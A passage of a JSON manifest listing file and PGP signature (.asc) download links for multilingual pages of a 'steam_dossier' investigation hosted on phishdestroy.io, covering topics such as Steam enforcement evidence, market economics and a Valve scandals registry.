            "url": "https://phishdestroy.io/steam_dossier/exports/pages/ar/output_steam_network__steam_ecosystem_dashboard.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/ar/output_steam_network__valve_ru_farming_isolated.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/ar/output_steam_network__valve_ru_farming_isolated.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/ar/regulatory_act_print.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/ar/regulatory_act_print.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/ar/security_timeline.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/ar/security_timeline.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/ar/skin_atlas.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/ar/skin_atlas.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/ar/social_graph.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/ar/social_graph.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/ar/steam_enforcement_evidence.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/ar/steam_enforcement_evidence.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/ar/steam_evidence_archive.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/ar/steam_evidence_archive.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/ar/support_canned_refusals.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/ar/support_canned_refusals.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/ar/valve_scandals_registry.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/ar/valve_scandals_registry.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/de/card_economy.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/de/card_economy.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/de/card_economy_de.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/de/card_economy_de.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/de/elite_skins.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/de/elite_skins.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/de/enforcement_audit.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/de/enforcement_audit.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/de/enforcement_audit_de.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/de/enforcement_audit_de.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/de/index.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/de/index.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/de/investigation_part2.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/de/investigation_part2.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/de/legal_analysis.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/de/legal_analysis.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/de/license_disclaimer.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/de/license_disclaimer.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/de/market_economics.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/de/market_economics.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/de/output_steam_network__index.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/de/output_steam_network__index.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/de/output_steam_network__network.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/de/output_steam_network__network.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/de/output_steam_network__steam_ecosystem_dashboard.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/de/output_steam_network__steam_ecosystem_dashboard.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/de/output_steam_network__valve_ru_farming_isolated.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/de/output_steam_network__valve_ru_farming_isolated.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/de/regulatory_act_print.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/de/regulatory_act_print.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/de/security_timeline.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/de/security_timeline.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/de/skin_atlas.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/de/skin_atlas.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/de/social_graph.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/de/social_graph.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/de/steam_enforcement_evidence.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/de/steam_enforcement_evidence.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/de/steam_evidence_archive.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/de/steam_evidence_archive.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/de/support_canned_refusals.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/de/support_canned_refusals.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/de/valve_scandals_registry.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/de/valve_scandals_registry.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/en/card_economy.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/en/card_economy.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/en/elite_skins.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/en/elite_skins.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/en/enforcement_audit.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/en/enforcement_audit.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/en/index.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/en/index.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/en/investigation_part2.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/en/investigation_part2.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/en/legal_analysis.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/en/legal_analysis.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/en/license_disclaimer.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/en/license_disclaimer.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/en/market_economics.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/en/market_economics.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/en/output_steam_network__index.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/en/output_steam_network__index.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/en/output_steam_network__network.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/en/output_steam_network__network.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/en/output_steam_network__steam_ecosystem_dashboard.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/en/output_steam_network__steam_ecosystem_dashboard.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/en/output_steam_network__valve_ru_farming_isolated.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/en/output_steam_network__valve_ru_farming_isolated.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/en/regulatory_act_print.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/en/regulatory_act_print.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/en/security_timeline.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/en/security_timeline.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/en/skin_atlas.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/en/skin_atlas.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/en/social_graph.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/en/social_graph.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/en/source_1_response.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/en/source_1_response.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/en/steam_enforcement_evidence.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/en/steam_enforcement_evidence.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/en/steam_evidence_archive.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/en/steam_evidence_archive.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/en/support_canned_refusals.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/en/support_canned_refusals.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/en/valve_scandals_registry.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/en/valve_scandals_registry.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/es/card_economy.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/es/card_economy.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/es/elite_skins.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/es/elite_skins.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/es/enforcement_audit.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/es/enforcement_audit.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/es/index.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/es/index.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/es/investigation_part2.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/es/investigation_part2.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/es/legal_analysis.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/es/legal_analysis.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/es/license_disclaimer.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/es/license_disclaimer.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/es/market_economics.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/es/market_economics.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/es/output_steam_network__index.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/es/output_steam_network__index.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/es/output_steam_network__network.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/es/output_steam_network__network.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/es/output_steam_network__steam_ecosystem_dashboard.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/es/output_steam_network__steam_ecosystem_dashboard.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/es/output_steam_network__valve_ru_farming_isolated.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/es/output_steam_network__valve_ru_farming_isolated.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/es/regulatory_act_print.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/es/regulatory_act_print.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/es/security_timeline.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/es/security_timeline.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/es/skin_atlas.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/es/skin_atlas.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/es/social_graph.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/es/social_graph.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/es/steam_enforcement_evidence.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/es/steam_enforcement_evidence.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/es/steam_evidence_archive.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/es/steam_evidence_archive.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/es/support_canned_refusals.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/es/support_canned_refusals.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/es/valve_scandals_registry.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/es/valve_scandals_registry.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/fr/card_economy.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/fr/card_economy.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/fr/elite_skins.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/fr/elite_skins.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/fr/enforcement_audit.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/fr/enforcement_audit.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/fr/index.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/fr/index.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/fr/investigation_part2.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/fr/investigation_part2.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/fr/legal_analysis.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/fr/legal_analysis.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/fr/license_disclaimer.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/fr/license_disclaimer.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/fr/market_economics.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/fr/market_economics.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/fr/output_steam_network__index.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/fr/output_steam_network__index.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/fr/output_steam_network__network.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/fr/output_steam_network__network.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/fr/output_steam_network__steam_ecosystem_dashboard.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/fr/output_steam_network__steam_ecosystem_dashboard.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/fr/output_steam_network__valve_ru_farming_isolated.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/fr/output_steam_network__valve_ru_farming_isolated.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/fr/regulatory_act_print.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/fr/regulatory_act_print.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/fr/security_timeline.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/fr/security_timeline.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/fr/skin_atlas.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/fr/skin_atlas.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/fr/social_graph.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/fr/social_graph.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/fr/steam_enforcement_evidence.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/fr/steam_enforcement_evidence.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/fr/steam_evidence_archive.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/fr/steam_evidence_archive.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/fr/support_canned_refusals.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/fr/support_canned_refusals.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/fr/valve_scandals_registry.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/fr/valve_scandals_registry.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/hi/card_economy.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/hi/card_economy.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/hi/elite_skins.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/hi/elite_skins.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/hi/enforcement_audit.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/hi/enforcement_audit.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/hi/index.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/hi/index.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/hi/investigation_part2.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/hi/investigation_part2.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/hi/legal_analysis.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/hi/legal_analysis.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/hi/license_disclaimer.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/hi/license_disclaimer.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/hi/market_economics.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/hi/market_economics.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/hi/output_steam_network__index.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/hi/output_steam_network__index.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/hi/output_steam_network__network.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/hi/output_steam_network__network.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/hi/output_steam_network__steam_ecosystem_dashboard.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/hi/output_steam_network__steam_ecosystem_dashboard.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/hi/output_steam_network__valve_ru_farming_isolated.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/hi/output_steam_network__valve_ru_farming_isolated.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/hi/regulatory_act_print.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/hi/regulatory_act_print.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/hi/security_timeline.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/hi/security_timeline.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/hi/skin_atlas.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/hi/skin_atlas.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/hi/social_graph.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/hi/social_graph.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/hi/steam_enforcement_evidence.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/hi/steam_enforcement_evidence.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/hi/steam_evidence_archive.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/hi/steam_evidence_archive.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/hi/support_canned_refusals.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/hi/support_canned_refusals.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/hi/valve_scandals_registry.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/hi/valve_scandals_registry.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/id/card_economy.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/id/card_economy.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/id/elite_skins.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/id/elite_skins.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/id/enforcement_audit.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/id/enforcement_audit.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/id/index.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/id/index.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/id/investigation_part2.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/id/investigation_part2.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/id/legal_analysis.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/id/legal_analysis.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/id/license_disclaimer.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/id/license_disclaimer.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/id/market_economics.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/id/market_economics.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/id/output_steam_network__index.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/id/output_steam_network__index.content.json.asc"
          },
          {
            "label": "File",
